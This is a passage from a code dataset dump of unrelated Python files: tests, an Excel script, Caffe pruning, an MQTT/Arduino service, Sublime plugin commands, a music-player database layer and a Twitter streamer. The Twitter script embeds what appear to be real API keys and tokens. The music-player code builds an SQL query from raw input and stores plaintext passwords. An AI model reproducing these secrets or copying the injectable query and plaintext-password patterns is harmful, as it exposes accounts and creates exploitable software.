from_=FAKE_FROM_NUMBER))\n twilio_client._form_messages_url_query.assert_called_once_with(['FAKE_MESSAGE']) # pylint: disable=E1101\n assert mock_create_call.call_args_list == expected_call_args_list\n","sub_path":"tests/unit/libs/twilio/test_twilio_client.py","file_name":"test_twilio_client.py","file_ext":"py","file_size_in_byte":4400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"460379832","text":"'''\r\nCreated on 2020. 1. 28.\r\n\r\n@author: GDJ_19\r\n문제 : ssec1804.xls 파일에서 \"1. 남자\", \"2. 여자\" sheet 를 선택하여\r\n남자, 여자 ssec1804mf.xls로 저장하기\r\n'''\r\nfrom xlrd import open_workbook\r\nfrom xlwt import Workbook # pip install xlwt\r\n\r\ninput_file = \"ssec1804.xls\"\r\noutput_file =\"ssec1804mf.xls\"\r\n\r\noutput_workbook = Workbook() # 출력할 excel 파일\r\n# add_sheet(\"전체\") : sheet 추가\r\n# 1. workbook에 두개의 sheet만듦\r\noutput_sheet_male = output_workbook.add_sheet(\"남자\")\r\noutput_sheet_female = output_workbook.add_sheet(\"여자\")\r\n\r\n\r\n# 원본 파일의 남자, 여자 sheet를 읽어온 값 worksheet에 저장함\r\n# worksheet에 있는 행, 열 읽엉서 output_sheet에 내용 저장\r\ndef makesheet(output_sheet):\r\n for row_index in range(worksheet.nrows): # 선택된 sheet의 \r\n for column_index in range(worksheet.ncols): # 선택된\r\n output_sheet.write(row_index, column_index, # 선택\r\n worksheet.cell_value(row_index, column_index))\r\n print(worksheet.cell_value\r\n (row_index, column_index)) \r\n\r\n\r\n# workbook : excel 파일\r\nwith open_workbook(input_file) as workbook:\r\n # worksheet : ssec1804.xls 파일의 1.전체증감 sheet 를 선택\r\n worksheet= workbook.sheet_by_name(\"1.남자\") \r\n makesheet(output_sheet_male)\r\n worksheet = workbook.sheet_by_name(\"1.여자\")\r\n makesheet(output_sheet_female)\r\n\r\n# output_sheet 를 worksheet를 output_file에 저장하기\r\noutput_workbook.save(output_file)","sub_path":"pythontest/0128/excelex5.py","file_name":"excelex5.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440725964","text":"import requests\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0'}\n\nurlm = \"http://192.168.138.161:8140\"\nfilename = \"simulation1.txt\"\n\nploads = {'file': filename}\nr = requests.request(method = 'GET', url = urlm + \"\", params=ploads, headers=headers)\n\nprint(r.text)\nprint(r.url)\n\nprint(\"\\n---- POST ----\")\npostResponse = requests.post(urlm, data = ploads)\nprint(postResponse.text)","sub_path":"Code/House Code/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623677619","text":"#written by gzh\nimport sys\nsys.path.insert(0,\"/home/gaozhihua/program/caffe-ssd/python\")\nimport caffe\nfrom google.protobuf import text_format\nfrom caffe.proto import caffe_pb2\nimport argparse\nimport numpy as np\nfrom caffe.model_libs import *\n\n\nsolver_param = {\n # Train parameters\n 'base_lr': 0.001,\n 'weight_decay': 0.0005,\n 'lr_policy': \"multistep\",\n 'stepvalue': [2000, 100000, 120000],\n 'gamma': 0.1,\n 'momentum': 0.9,\n 'iter_size': 1,\n 'max_iter': 120000,\n 'snapshot': 1000,\n 'display': 10,\n 'average_loss': 10,\n 'type': \"SGD\",\n 'debug_info': False,\n 'snapshot_after_train': True,\n # Test parameters\n 'test_iter': [578],\n 'test_interval': 1000,\n 'eval_type': \"detection\",\n 'ap_version': \"11point\",\n 'test_initialization': False,\n }\n\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('deploy',help=\"input deploy file\")\n parser.add_argument('train_test',help=\"input train_test file\")\n parser.add_argument('weights',help=\"network weights\")\n parser.add_argument('target_dir',help=\"directories to save the model and pruning weights\")\n parser.add_argument('first_layer_name')\n parser.add_argument('next_layer_names',nargs='+')\n return parser.parse_args()\n\ndef arg_sort(data):\n #return the smallest 1/4 arg\n nums = data.shape[0]\n data = data.reshape(nums,-1)\n norm_array = np.array([])\n for i in range(nums):\n norm_array = np.append(norm_array,np.linalg.norm(data[i],1))\n return np.argsort(norm_array)[0:nums/4]\n\ndef pruning(deploy,train_test,weights,target_dir,first_layer_name,next_layer_names):\n net_param = caffe_pb2.NetParameter() #net architecture\n net_param_new = caffe_pb2.NetParameter()\n text_format.Merge(open(deploy).read(),net_param)\n net = caffe.Net(deploy,weights,caffe.TEST) #net object\n\n for layer in net_param.layer:\n if layer.name == first_layer_name:\n layer.convolution_param.num_output = layer.convolution_param.num_output*3/4\n layer.name = first_layer_name+\"/new\"\n for next_layer_name in next_layer_names:\n if layer.name == next_layer_name:\n layer.name = next_layer_name+\"/new\"\n net_param_new.layer.extend([layer])\n net_param_new.input.extend(['data'])\n net_param_new.input_shape.extend([caffe_pb2.BlobShape(dim=[1,3,300,300])])\n with open(target_dir+\"/deploy.prototxt\",\"w\") as f:\n f.write(str(net_param_new))\n\n #create train net\n net_tain_test_param = caffe_pb2.NetParameter()\n text_format.Merge(open(train_test).read(),net_tain_test_param)\n for layer in net_tain_test_param.layer:\n if layer.name == first_layer_name:\n layer.convolution_param.num_output = layer.convolution_param.num_output*3/4\n layer.name = first_layer_name+\"/new\"\n for next_layer_name in next_layer_names:\n if layer.name == next_layer_name:\n layer.name = next_layer_name+\"/new\"\n with open(target_dir+\"/train.prototxt\",\"w\") as f:\n f.write(str(net_tain_test_param))\n\n # Create solver.\n solver = caffe_pb2.SolverParameter(\n net='./train.prototxt',\n snapshot_prefix='3_4_',\n **solver_param)\n\n with open(target_dir+\"/solver.prototxt\",'w') as f:\n f.write(str(solver))\n\n\n #pruning the first layer's firsr axis\n channel_lists = []\n weights_data = net.params[first_layer_name][0].data\n channel_list = arg_sort(weights_data)\n weights_data = np.delete(weights_data,channel_list,0)\n\n for idx,next_layer_name in enumerate(next_layer_names):\n #pruning the next layers 2nd axis\n if next_layer_name[0:12] == \"conv4_3_norm\" and idx == 0:\n weights_data_next = net.params[next_layer_name][0].data\n weights_data_next = np.delete(weights_data_next,channel_list,0)\n else:\n weights_data_next = net.params[next_layer_name][0].data\n weights_data_next = np.delete(weights_data_next,channel_list,1)\n\n #save the new 1st layer,and 2nd layers\n model_new = target_dir+\"/deploy.prototxt\"\n net_pruning = caffe.Net(model_new,weights,caffe.TEST)\n first_layer_name_new = first_layer_name+\"/new\"\n net_pruning.params[first_layer_name_new][0].data[...] = weights_data\n next_layer_name_new = next_layer_name+\"/new\"\n net_pruning.params[next_layer_name_new][0].data[...] = weights_data_next\n net_pruning.save(target_dir+\"/pruning.caffemodel\")\n\n\n\nif __name__ == '__main__':\n args = parse_args()\n pruning(args.deploy,args.train_test,args.weights,args.target_dir,args.first_layer_name,args.next_layer_names)\n","sub_path":"iterative_pruning.py","file_name":"iterative_pruning.py","file_ext":"py","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330303027","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#\r\n# Copyright (c) IRAP CNRS\r\n# Odile Coeur-Joly, Toulouse, France\r\n#\r\n\"\"\"\r\nDefine a global logger for the project.\r\nPicked up from http://stackoverflow.com/questions/7621897/python-logging-module-globally\r\n\r\npkg.log Created on 9 oct. 2015\r\n\"\"\"\r\nimport logging\r\nlog = logging.getLogger('root')\r\n\r\n\r\nclass Logs(object):\r\n \"\"\"\r\n Define a global logger.\r\n \"\"\"\r\n\r\n def __init__(self, name):\r\n \"\"\"\r\n Constructor\r\n \"\"\"\r\n self.name = name\r\n\r\n def setup_logger(self, level):\r\n\r\n logger = logging.getLogger(self.name)\r\n if level == \"debug\":\r\n logger.setLevel(logging.DEBUG)\r\n if level == \"info\":\r\n logger.setLevel(logging.INFO)\r\n if level == \"error\":\r\n logger.setLevel(logging.ERROR)\r\n # complete format with date\r\n# formatter = logging.Formatter(\r\n# \"%(asctime)s - %(levelname)s - %(module)s - %(message)s\", \"%Y-%m-%d %H:%M:%S\")\r\n # simple format without date\r\n formatter = logging.Formatter(\r\n \"%(levelname)s :: %(module)s/%(funcName)s :: %(message)s\")\r\n\r\n handler = logging.StreamHandler()\r\n# handler = logging.FileHandler(\"toto.log\")\r\n handler.setFormatter(formatter)\r\n\r\n logger.addHandler(handler)\r\n return logger\r\n\r\nif __name__ == '__main__':\r\n pass\r\nelse:\r\n log.info(\"Importing... %s\", __name__)\r\n","sub_path":"src/pkg/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323215917","text":"import paho.mqtt.client as mqtt\nimport pyfirmata\nimport time\nimport json\n# import RPi.GPIO as GPIO\n# import Adafruit_DHT\nimport threading\n\nactuator_setpoint = {\"thermostat\": False,\n \"humidifier\": False,\n \"airfilter\": False,\n \"light\": False}\n\n# Sensor readout loop\ndef publishingloop():\n # Global definitions\n broker_host = \"localhost\"\n usb_port = 'COM4'\n brightness_port = 0\n air_port = 5\n # temperature_port = 1\n dht11_port = 2\n light_port = 8\n airfilter_port = 9\n humidifier_port = 10\n thermostat_port = 11\n\n sensors_topic = \"climate-service/value/sensors/state\"\n actuator_state_topic = \"climate-service/value/actuators/state\"\n readout_frequency = 2\n\n\n # Client initialization\n client = mqtt.Client()\n\n # Connect to mqtt client and start loop\n client.connect(broker_host)\n client.loop_start()\n\n # Setup arduino connection\n board = pyfirmata.Arduino(usb_port)\n board.analog[brightness_port].mode = pyfirmata.INPUT\n board.analog[air_port].mode = pyfirmata.INPUT\n board.digital[light_port].mode = pyfirmata.OUTPUT\n board.digital[airfilter_port].mode = pyfirmata.OUTPUT\n board.digital[humidifier_port].mode = pyfirmata.OUTPUT\n board.digital[thermostat_port].mode = pyfirmata.OUTPUT\n it = pyfirmata.util.Iterator(board)\n it.start()\n\n while True:\n #Read sensor status\n brightness_state = board.analog[brightness_port].read()\n air_state = board.analog[air_port].read()\n \n # TODO\n humidity_state = 0.0\n temperature_state = 0.0\n\n if (brightness_state == None):\n brightness_state = 0\n print(\"brightness_state recieves None data!\")\n if (air_state == None):\n air_state = 0\n print(\"air_state recieves None data!\")\n if (temperature_state == None):\n temperature_state = 0\n print(\"temperature_state recieves None data!\")\n if (humidity_state == None):\n humidity_state = 0\n print(\"temperature_state recieves None data!\")\n\n # Set actuators\n board.digital[light_port].write(not actuator_setpoint[\"light\"])\n board.digital[airfilter_port].write(not actuator_setpoint[\"airfilter\"])\n board.digital[humidifier_port].write(not actuator_setpoint[\"humidifier\"])\n board.digital[thermostat_port].write(not actuator_setpoint[\"thermostat\"])\n \n #Read actuator status\n light_state = not board.digital[light_port].read()\n airfilter_state = not board.digital[airfilter_port].read()\n humidifier_state = not board.digital[humidifier_port].read()\n thermostat_state = not board.digital[thermostat_port].read()\n if (light_state == None):\n light_state = 0\n print(\"light_state recieves None data!\")\n if (airfilter_state == None):\n airfilter_state = 0\n print(\"airfilter_state recieves None data!\")\n if (humidifier_state == None):\n humidifier_state = 0\n print(\"humidifier_state recieves None data!\")\n if (thermostat_state == None):\n thermostat_state = 0\n print(\"humidity_state recieves None data!\")\n\n ## Logging data \n sensor_status = {\"brightness\":brightness_state,\n \"air\":air_state,\n \"temperature\":temperature_state,\n \"humidity\":humidity_state}\n\n actuator_status = {\"light\":light_state,\n \"airfilter\":airfilter_state,\n \"humidifier\":humidifier_state,\n \"thermostat\":thermostat_state}\n \n sensor_status_out = json.dumps(sensor_status)\n actuator_status_out = json.dumps(actuator_status)\n\n print(\"Publishing sensor status:\", sensor_status_out)\n client.publish(sensors_topic, sensor_status_out)\n\n print(\"Publishing actuators status:\", actuator_status_out)\n client.publish(actuator_state_topic, actuator_status_out)\n\n time.sleep(readout_frequency)\n\ndef subscribingloop():\n # Global definitions\n broker_host = \"localhost\"\n global actuator_setpoint\n\n topic_decision = \"decision-maker/0/value/actuators/setpoint\"\n\n # # Client initialization\n client = mqtt.Client()\n # The callback for when the client receives a CONNACK response from the server.\n def on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n # Subscribing in on_connect() means that if we lose the connection and\n # reconnect then subscriptions will be renewed.\n client.subscribe(topic_decision)\n\n def on_message(client, userdata, msg):\n # Compute only if last sending time is older than readout frequency\n decoded_payload =str(msg.payload.decode('UTF-8'))\n print(f\"Received payload: {decoded_payload}, on topic: {msg.topic}\")\n data=json.loads(decoded_payload)\n for key in data:\n actuator_setpoint[key] = data[key]\n\n print(\"Initial state: \", actuator_setpoint)\n\n client.on_connect = on_connect\n client.on_message = on_message\n\n\n # # Connect to mqtt broker and start loop\n client.connect(broker_host)\n client.loop_forever()\n\nthread1 = threading.Thread(target=publishingloop)\nthread1.start()\n\nthread2 = threading.Thread(target=subscribingloop)\nthread2.start()","sub_path":"services/climate-service-pc/climate-service.py","file_name":"climate-service.py","file_ext":"py","file_size_in_byte":5440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446943221","text":"from pymongo import MongoClient\r\nimport random\r\nimport pymysql\r\n#对数据库的所有操作封装到这个类中。将UI,逻辑,数据库,分开\r\nclass process_data:\r\n def __init__(self):\r\n self.db = pymysql.connect(\"localhost\", \"root\", \"123456\", \"singer_info\")\r\n self.client = MongoClient()\r\n self.my_software = self.client['music_player']\r\n self.song = self.my_software['song']\r\n self.user=self.my_software['user']\r\n def get_password(self,user_id):\r\n user_info=self.user.find_one({'userId':user_id})\r\n if(user_info==None):\r\n return None\r\n else:\r\n return user_info['password']\r\n def get_user_info(self,user_id):\r\n user_info = self.user.find_one({'userId': user_id})\r\n return user_info\r\n def insert_user(self,user_id,password):#插入一个用户\r\n data={'userId':user_id}\r\n temp={}\r\n data['songRecord']=temp\r\n data['favorite']={}\r\n data['password']=password\r\n self.user.insert_one(data)\r\n def get_user_music(self,user_id):\r\n user_info=self.user.find_one({'userId':user_id})\r\n music_form=user_info['songRecord']\r\n music_info={}\r\n if(len(music_form)==0):\r\n return music_form,music_info\r\n music_form=sorted(music_form.items(), key=lambda x: x[1], reverse=True)#排序,从高到低\r\n music_form=dict(music_form)\r\n for music in music_form:\r\n temp=self.song.find_one({'name':music})\r\n music_info[music]=temp\r\n return music_form,music_info#返回歌曲播放记录,和音乐信息\r\n def update_music(self,user_id,music_name):#user_id用户,播放音乐的记录加一\r\n user_info=self.user.find_one({'userId':user_id})\r\n music_form = user_info['songRecord']\r\n count=music_form.get(music_name)\r\n if(count==None):\r\n music_form[music_name] =[1,6.0]\r\n else:\r\n music_form[music_name][0]=music_form[music_name][0]+1\r\n self.user.update({'userId':user_id},{\"$set\":{'songRecord':music_form}})\r\n def update_score(self,user_id,music_name,score):#user_id用户,播放音乐的记录加一\r\n user_info=self.user.find_one({'userId':user_id})\r\n music_form = user_info['songRecord']\r\n count=music_form.get(music_name)\r\n if(count==None):\r\n music_form[music_name] =[1,6.0]\r\n else:\r\n music_form[music_name][1]=score\r\n self.user.update({'userId':user_id},{\"$set\":{'songRecord':music_form}})\r\n def get_recommend_form(self,music_list):#获取歌单\r\n music_form_info={}\r\n for music in music_list:\r\n music_form_info[music]=self.song.find_one({'name':music})\r\n return music_form_info\r\n def get_sousuo(self,text):\r\n singer_info=None\r\n out_song=self.song.find_one({'name':text})\r\n if(out_song==None):\r\n out_singer=self.song.find({'author':text})\r\n data = {}\r\n for song in out_singer:\r\n data[song['name']] = song\r\n if(len(data)>0):\r\n singer_info=self.get_songer_info(text)\r\n return data,singer_info\r\n else:\r\n out_style = self.song.find({'style': text})\r\n for song in out_style:\r\n data[song['name']] = song\r\n return data,singer_info\r\n\r\n else:\r\n data={}\r\n data[out_song['name']]=out_song\r\n return data,singer_info\r\n def my_close(self):\r\n self.client.close()\r\n self.db.close()\r\n def get_all_style(self):#得到所有风格\r\n contents=self.song.find()\r\n style_list=[]\r\n for content in contents:\r\n style_list.append(content['style'])\r\n style_list=list(set(style_list))\r\n return style_list\r\n def return_song_in_style_list(self,style_list):\r\n len_style_list=len(style_list)\r\n data={}\r\n for i in range(len_style_list):\r\n songs=self.song.find({'style':style_list[i]})\r\n count=0\r\n for song in songs:\r\n if(count<=5):\r\n data[song['name']] = song\r\n else:\r\n break\r\n count = count + 1\r\n return data\r\n def get_songer_info(self,name):\r\n cursor = self.db.cursor()\r\n sql = \"SELECT * FROM singer_info \\\r\n WHERE name = '%s'\" % (name)\r\n cursor.execute(sql)\r\n result = cursor.fetchone()\r\n if(result==None):\r\n out='暂无歌手信息'\r\n else:\r\n out=result[1]\r\n return out\r\n def insert_fav(self,user_id,music_name):\r\n user_info = self.user.find_one({'userId': user_id})\r\n music_form = user_info['favorite']\r\n count = music_form.get(music_name)\r\n if (count == None):\r\n music_form[music_name] = 1\r\n self.user.update({'userId': user_id}, {\"$set\": {'favorite': music_form}})\r\n def delete_fav(self,user_id,music_name):\r\n user_info = self.user.find_one({'userId': user_id})\r\n music_form = user_info['favorite']\r\n count = music_form.get(music_name)\r\n if (count != None):\r\n music_form.pop(music_name)\r\n self.user.update({'userId': user_id}, {\"$set\": {'favorite': music_form}})\r\n def get_user_music_fav(self,user_id):\r\n user_info=self.user.find_one({'userId':user_id})\r\n music_form=user_info['favorite']\r\n music_info={}\r\n for music in music_form:\r\n temp=self.song.find_one({'name':music})\r\n music_info[music]=temp\r\n return music_form,music_info#返回歌曲收藏记录,和音乐信息\r\n\r\n\r\n","sub_path":"final_music_player/mongo_process.py","file_name":"mongo_process.py","file_ext":"py","file_size_in_byte":5741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352469090","text":"# coding=utf-8\n\"\"\"\nCommands and code to expose nimsuggest functionality to the user.\n\"\"\"\nimport os\nimport subprocess\nfrom shutil import copytree\nfrom tempfile import mkdtemp\nfrom zipfile import ZipFile\n\nimport NimLime\nimport sublime\nfrom nimlime_core import configuration\nfrom nimlime_core.utils.error_handler import catch_errors\nfrom nimlime_core.utils.idetools import Nimsuggest\nfrom nimlime_core.configuration import debug_print\nfrom nimlime_core.utils.misc import (send_self, get_next_method, samefile,\n run_process, busy_frames, format_msg,\n loop_status_msg, start_file,\n handle_process_error)\nfrom nimlime_core.utils.mixins import (NimLimeOutputMixin, IdetoolMixin,\n NimLimeMixin)\nfrom nimlime_core.utils.project import get_nim_project\nfrom sublime_plugin import ApplicationCommand\n\nsetup_error_msg = format_msg(\"\"\"\nNimsuggest doesn't appear to have been setup correctly.\\\\n\nPlease look at the output of the debug console (ctrl+`) for more information.\n\"\"\")\n\n\nclass NimIdeCommand(NimLimeOutputMixin, IdetoolMixin):\n \"\"\"A Nimsuggest command.\"\"\"\n requires_nim_syntax = True\n st2_compatible = False\n\n nimsuggest_function = None\n not_found_msg = \"\"\n\n @send_self\n @catch_errors\n def run(self):\n this = yield\n window = sublime.active_window()\n view = window.active_view()\n\n nimsuggest = self.get_nimsuggest_instance(get_nim_project(window, view))\n ide_params = self.get_ide_parameters(window, view)\n nim_file, dirty_file, line, column = ide_params\n\n output, entries = yield self.nimsuggest_function(\n nimsuggest, nim_file, dirty_file, line, column, this.send\n )\n if entries is None:\n sublime.status_message(\"Error: Nimsuggest exited unexpectedly.\")\n yield\n elif len(entries) == 0:\n sublime.status_message(self.not_found_msg)\n yield\n\n yield self.process_entries(window, view, output, entries)\n\n def process_entries(self, window, view, output, entries):\n raise NotImplementedError()\n\n\nclass NimCompileInternalNimsuggest(NimLimeMixin, ApplicationCommand):\n \"\"\"\n Compile the version of Nimsuggest bundled with NimLime.\n \"\"\"\n settings_selector = 'compile_nimsuggest'\n\n st2_compatible = False\n\n @send_self\n @catch_errors\n def run(self):\n this = yield\n window = sublime.active_window()\n\n # Retrieve and check the destination path for the Nimsuggest executable\n exe_output_dir = yield window.show_input_panel(\n 'Path to copy nimsuggest to? (Blank for home directory)', '',\n this.send, None, None\n )\n\n exe_output_dir = exe_output_dir or os.path.expanduser('~')\n debug_print('exe_dir: ', exe_output_dir)\n\n if not (os.path.exists(exe_output_dir) or not os.path.isdir(\n exe_output_dir)):\n sublime.error_message('Invalid path for nimsuggest executable.')\n yield\n\n # Signal that we are compiling Nimsuggest\n frames = ['Compiling Internal Nimsuggest' + f for f in busy_frames]\n stop_status_loop = loop_status_msg(frames, 0.15)\n\n # Generate the paths needed to extract and compile Nimsuggest\n temp_dir = mkdtemp()\n nimsuggest_source_dir = os.path.join(temp_dir, 'nimsuggest')\n nimlime_dir = os.path.dirname(NimLime.__file__)\n exe_output_file = os.path.join(exe_output_dir, 'nimsuggest')\n\n if configuration.on_windows:\n exe_output_file += '.exe'\n\n debug_print('temp_dir: ', temp_dir)\n debug_print('nimlime_dir: ', nimlime_dir)\n debug_print('exe_output_file: ', exe_output_file)\n\n # Extract the Nimsuggest source\n if configuration.is_zipped:\n # We're in a zipped package, so we need to extract the tarball\n # from our package file, then extract the tarball\n debug_print('Extracting nimsuggest tarball to temp_dir')\n ZipFile(nimlime_dir).extractall(temp_dir)\n else:\n # We're an actual directory, so we just need to copy the source\n # tree to the temp directory.\n debug_print('Copying nimsuggest source to', temp_dir)\n copytree(\n os.path.join(nimlime_dir, 'nimsuggest'),\n nimsuggest_source_dir\n )\n\n # Compile the nimsuggest source\n debug_print('Compiling with Nim exe: ', configuration.nim_exe)\n process, stdout, _, error = yield run_process(\n [configuration.nim_exe, 'c', '--out:' + exe_output_file,\n '-d:release',\n 'nimsuggest.nim'],\n cwd=nimsuggest_source_dir, callback=this.send,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n )\n yield stop_status_loop(get_next_method(this))\n\n # Handle possible errors\n if handle_process_error(error, 'Nimsuggest setup failed', 'Nim'):\n yield\n elif process.poll() != 0:\n sublime.error_message(setup_error_msg)\n debug_print('Compilation unsuccessful.')\n print(stdout)\n yield\n\n # Tell the user the process was successful, and remind them\n # to set the nimsuggest settings.\n sublime.status_message('Nimsuggest compiled and copied.')\n sublime.run_command('open_file', {\n 'file': '${packages}/User/NimLime/NimLime.sublime-settings'\n })\n sublime.message_dialog(\n 'Please make sure to set the \\'nimsuggest.executable\\' setting!'\n )\n start_file(exe_output_dir)\n yield\n\n\nclass NimGotoDefinition(NimIdeCommand, ApplicationCommand):\n \"\"\"\n Goto the definition of a symbol at the cursor.\n \"\"\"\n settings_selector = \"nimsuggest.goto_definition\"\n\n nimsuggest_function = staticmethod(Nimsuggest.find_definition)\n not_found_msg = \"No definition found.\"\n\n @send_self\n @catch_errors\n def process_entries(self, window, view, output, entries):\n this = yield\n\n index = 0\n if len(entries) > 1:\n input_list = [\n ['{5}, {6}: {3}'.format(*e), e[4]] for e in entries\n ]\n index = yield window.show_quick_panel(input_list, this.send)\n if index == -1:\n yield\n\n # Open the entry file and go to the point\n entry = entries[index]\n target_view = window.open_file(entry[4])\n while target_view.is_loading():\n yield sublime.set_timeout(get_next_method(this), 100)\n\n target_view.show_at_center(\n target_view.text_point(int(entry[5]), int(entry[6]))\n )\n\n\nclass NimShowDefinition(NimIdeCommand, ApplicationCommand):\n \"\"\"\n Show the definition of a symbol in a popup.\n \"\"\"\n\n settings_selector = \"nimsuggest.show_definition\"\n\n nimsuggest_function = staticmethod(Nimsuggest.find_definition)\n not_found_msg = \"No definition found.\"\n\n @catch_errors\n def process_entries(self, window, view, output, entries):\n popup_text = '\\n'.join([e[3] for e in entries])\n popup_location = view.word(view.sel()[0])\n width = (\n view.viewport_extent()[0] -\n view.text_to_layout(popup_location.a)[0]\n )\n\n view.show_popup(\n popup_text, flags=2, max_width=width,\n location=popup_location.a\n )\n\n\nclass NimShowDefinitionInStatus(NimIdeCommand, ApplicationCommand):\n \"\"\"\n Show the definition of a symbol in the status bar.\n \"\"\"\n\n settings_selector = \"nimsuggest.show_definition_in_status\"\n\n nimsuggest_function = staticmethod(Nimsuggest.find_definition)\n not_found_msg = \"No definition found.\"\n\n @catch_errors\n def process_entries(self, window, view, output, entries):\n popup_text = ''.join([e[3] for e in entries])\n sublime.status_message(popup_text)\n\n\nclass NimHighlightUsages(NimIdeCommand, ApplicationCommand):\n \"\"\"\n Highlight uses of the symbol in the current file.\n \"\"\"\n\n settings_selector = \"nimsuggest.highlight_usages\"\n\n nimsuggest_function = staticmethod(Nimsuggest.find_usages)\n not_found_msg = \"No uses found.\"\n\n @catch_errors\n def process_entries(self, window, view, output, entries):\n pass\n\n\nclass NimListUsagesInFile(NimIdeCommand, ApplicationCommand):\n \"\"\"\n List uses of the symbol in the current file.\n \"\"\"\n\n settings_selector = \"nimsuggest.list_usages_in_file\"\n\n nimsuggest_function = staticmethod(Nimsuggest.find_usages)\n not_found_msg = \"No uses found.\"\n\n @send_self\n @catch_errors\n def process_entries(self, window, view, output, entries):\n this = yield\n if len(entries) == 0:\n sublime.status_message(\"No definition found.\")\n yield\n\n index = 0\n while index < len(entries):\n entry = entries[index]\n filename = entry[4]\n if samefile(filename, view.file_name()):\n index += 1\n else:\n del (entries[index])\n\n index = yield window.show_quick_panel(\n ['({5},{6}) {3}'.format(*entry2) for entry2 in entries],\n lambda x: sublime.set_timeout(lambda: this.send(x))\n )\n\n if index != -1:\n entry = entries[index]\n view.show_at_center(\n view.text_point(int(entry[5]), int(entry[6]))\n )\n\n yield\n\n\nclass NimSuggestRenameSymbol(NimIdeCommand, ApplicationCommand):\n\n settings_selector = \"nimsuggest.rename\"\n\n nimsuggest_function = staticmethod(Nimsuggest.find_usages)\n not_found_msg = \"Symbol not found.\"\n\n def process_entries(self, window, view, output, entries):\n # First, aggregate the entries into changes associated with a file.\n # for entry in entries:\n pass\n\n\nclass NimSuggestMoveSymbol(NimIdeCommand, ApplicationCommand):\n settings_selector = \"nimsuggest.move\"\n\n","sub_path":"nimlime_core/commands/idecommands.py","file_name":"idecommands.py","file_ext":"py","file_size_in_byte":10022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182769539","text":"\"\"\"\nImplement regular expression matching with support for '.' and '*'.\n\n'.' Matches any single character.\n'*' Matches zero or more of the preceding element.\n\nThe matching should cover the entire input string (not partial).\n\nSome examples:\nisMatch(\"aa\",\"a\") → false\nisMatch(\"aa\",\"aa\") → true\nisMatch(\"aaa\",\"aa\") → false\nisMatch(\"aa\", \"a*\") → true\nisMatch(\"aa\", \".*\") → true\nisMatch(\"ab\", \".*\") → true\nisMatch(\"aab\", \"c*a*b\") → true\n\"\"\"\n\nclass Solution(object):\n def isMatch(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: bool\n \"\"\"\n if len(p) == 0:\n return len(s) == 0\n if len(p) == 1 or p[1] != '*':\n if len(s) == 0 or (s[0] != p[0] and p[0] != '.'):\n return False\n return self.isMatch(s[1:], p[1:])\n else:\n i = -1\n s_len = len(s)\n while i < s_len and (i < 0 or p[0] == '.' or p[0] == s[i]):\n if self.isMatch(s[i+1:], p[2:]):\n return True\n i += 1\n return False\n","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"478292862","text":"import tweepy\r\nimport json\r\nimport pymongo\r\nfrom tweepy import OAuthHandler\r\nfrom tweepy.streaming import StreamListener\r\nfrom tweepy import API\r\nfrom pymongo import MongoClient\r\n\r\n# Twitter API credentials\r\nconsumer_key = \"Aydwt7ZY9hEEsJKyN4LOz5fTI\"\r\nconsumer_secret = \"dKAXuqCkaFrp0B6ZI8twwiYmb6xEPN848vkh3Z74XFBhXNegi7\"\r\naccess_key = \"477823860-imARokjepWo4MgCm6t7Im2VeKqquiY10gL3v4YbZ\"\r\naccess_secret = \"a0wuEMNfpaFXobwc9FYBOlSo0xbPTtRTV0vtMREpmB1FR\"\r\n\r\n# authorize twitter, initialize tweepy\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_key, access_secret)\r\napi = tweepy.API(auth)\r\n\r\n\r\n# override tweepy.StreamListener to add logic to on_status, on_error & on_data\r\nclass MyStreamListener(tweepy.StreamListener):\r\n def on_status(self, status):\r\n print(status.text)\r\n try: # insert tweets to mongodb\r\n collection.insert(status._json)\r\n\r\n # Error handling\r\n except BaseException as e:\r\n print(\"Error on_status: %s\" % str(e))\r\n\r\n return True\r\n\r\n # use on_error to catch 420 errors and disconnect stream.\r\n def on_error(self, status_code):\r\n if status_code == 420:\r\n # returning False in on_data disconnects the stream\r\n return False\r\n\r\n def on_data(self, data):\r\n\r\n try:\r\n # try block takes json data and inserts into mongoDB\r\n client = MongoClient()\r\n db = client[\"twitter_db\"]\r\n # decode json from twitter\r\n datajson = json.loads(data)\r\n # get created at for print statement\r\n created_at = datajson[\"created_at\"]\r\n # print every time tweet is collected\r\n print(\"Tweet collected at \" + str(created_at))\r\n # insert data into twitter_collection collection\r\n db.twitter_collection.insert(datajson)\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\n# Tweets stream at a faster rate than I can accept them which causes an IncompleteRead error,\r\n# this function restarts the stream when it errors\r\ndef start_stream():\r\n while True:\r\n try:\r\n # Create a stream object\r\n twitter_stream = tweepy.Stream(auth, MyStreamListener())\r\n # uk location\r\n twitter_stream.filter(locations=[-6.38, 49.87, 1.77, 55.81])\r\n except:\r\n 